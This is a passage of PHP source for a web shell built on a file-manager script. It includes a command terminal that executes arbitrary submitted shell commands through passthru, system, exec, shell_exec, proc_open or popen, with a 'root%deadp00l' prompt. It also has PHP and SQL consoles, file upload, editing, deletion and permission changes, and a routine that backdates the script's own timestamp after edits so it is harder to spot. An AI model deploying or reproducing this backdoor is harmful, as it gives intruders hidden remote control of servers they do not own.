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"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated'); else $msg_ntimes .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg_ntimes .= (__('File updated')); else $msg_ntimes .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg_ntimes .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //quanxian gai bian hou xu yao xi tong chongqi $msg_ntimes = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) { $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg_ntimes .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg_ntimes .= __('Error occurred'); } else { fclose($fp); $msg_ntimes .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg_ntimes)){ ?> <tr> <td colspan="2" class="row2"><?=$msg_ntimes?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php session_start(); // List of command execution functions to check $execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl']; // Check if any of the functions are enabled (not disabled by disable_functions) $canExecute = false; foreach ($execFunctions as $func) { if (function_exists($func)) { $canExecute = true; break; } } if (!isset($_SESSION['cwd'])) { $_SESSION['cwd'] = getcwd(); } // Update cwd from POST if valid directory if (isset($_POST['path']) && is_dir($_POST['path'])) { $_SESSION['cwd'] = realpath($_POST['path']); } $cwd = $_SESSION['cwd']; $output = ""; if (isset($_POST['terminal'])) { $cmdInput = trim($_POST['terminal-text']); if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) { $dir = trim($matches[1]); if ($dir === '' || $dir === '~') { $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd; } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') { $dir = $cwd . DIRECTORY_SEPARATOR . $dir; } $realDir = realpath($dir); if ($realDir && is_dir($realDir)) { $_SESSION['cwd'] = $realDir; $cwd = $realDir; $output = "Changed directory to " . htmlspecialchars($realDir); } else { $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory"; } } else { if ($canExecute) { chdir($cwd); $cmd = $cmdInput . " 2>&1"; if (function_exists('passthru')) { ob_start(); passthru($cmd); $output = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); system($cmd); $output = ob_get_clean(); } elseif (function_exists('exec')) { exec($cmd, $out); $output = implode("\n", $out); } elseif (function_exists('shell_exec')) { $output = shell_exec($cmd); } elseif (function_exists('proc_open')) { // Using proc_open as fallback $descriptorspec = [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ]; $process = proc_open($cmd, $descriptorspec, $pipes, $cwd); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $output .= stream_get_contents($pipes[2]); fclose($pipes[2]); proc_close($process); } else { $output = "Failed to execute command via proc_open."; } } elseif (function_exists('popen')) { $handle = popen($cmd, 'r'); if ($handle) { $output = stream_get_contents($handle); pclose($handle); } else { $output = "Failed to execute command via popen."; } } else { $output = "Error: No command execution functions available."; } } else { $output = "Command execution functions are disabled on this server. Terminal is unavailable."; } } } if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']); if (!isset($path)) $path = $cwd; ?> <strong>root%deadp00l:<?php echo htmlspecialchars($cwd); ?>$</strong><br> <pre><?php echo htmlspecialchars($output); ?></pre> <form method="post" action="<?php echo $url_inc; ?>"> <input type="text" name="terminal-text" size="30" placeholder="Cmd"> <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" /> <input type="submit" name="terminal" value="Execute"> </form> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); 